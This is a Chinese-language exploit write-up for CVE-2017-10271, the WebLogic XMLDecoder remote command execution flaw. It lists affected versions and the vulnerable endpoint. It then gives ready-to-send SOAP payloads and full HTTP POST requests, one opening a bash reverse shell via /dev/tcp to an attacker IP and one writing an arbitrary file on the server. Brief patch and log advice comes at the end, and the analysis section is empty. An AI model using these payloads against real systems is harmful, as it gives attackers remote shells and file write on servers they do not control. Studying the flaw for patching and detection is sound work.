CVE-2017-10271(WebLogic XMLDecoder远程命令执行)
1. 漏洞描述
Weblogic的WLS Security
组件对外提供webservice
服务,其中使用了XMLDecoder
来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的XML数据甚至能通过反弹shell拿到权限。
2. 影响版本
- 10.3.6.0.0
- 12.1.3.0.0
- 12.2.1.1.0
- 12.2.1.2.0
3. 工具利用
1
| https://github.com/0xn0ne/weblogicScanner
|
4. 漏洞复现
4.1 访问地址
1
| http://ip:7001/wls-wsat/CoordinatorPortType
|

4.2 PayLoad
4.2.1 反弹Shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i >& /dev/tcp/(ip)/21 0>&1</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
|
4.2.2 写文件
固定路径servers/AdminServer/tmp/_WL_internal/wls-wsat/
+自定义路径
1 2 3 4 5 6 7 8 9 10 11 12 13
| <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.6.0" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println"> <string>xmldecoder_vul_test</string></void><void method="close"/> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
|
4.3 请求包
4.3.1 反弹Shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host:ip:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Cookie: JSESSIONID=fc0450f4-9950-41fa-b63e-b5997eb8380d Upgrade-Insecure-Requests: 1 Pragma: no-cache Cache-Control: no-cache Content-Type: text/xml Content-Length: 910
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i >& /dev/tcp/(ip)/(port) 0>&1</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
|

4.3.2 写文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: ip:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Cookie: JSESSIONID=fc0450f4-9950-41fa-b63e-b5997eb8380d Upgrade-Insecure-Requests: 1 Pragma: no-cache Cache-Control: no-cache Content-Type: text/xml Content-Length: 673
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.6.0" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println"> <string>xmldecoder_vul_test</string></void><void method="close"/> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
|

4.4 结果
4.4.1 反弹Shell

4.4.2 写文件

5. 漏洞分析
…
6. 修复建议
Oracle下载相关10271补丁,下载地址如下http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html
根据实际环境路径,删除WebLogicwls-wsat
组件;删除相关文件后重启weblogic
,保证访问/wls-wsat/
提示404错误
针对该漏洞被恶意利用的单位可查看如下如下路径进行日志查看,具体的路径根据实际安装情况进行查看:
\xx\Middleware\user_projects\domains\base_domain\servers\AdminServer\logs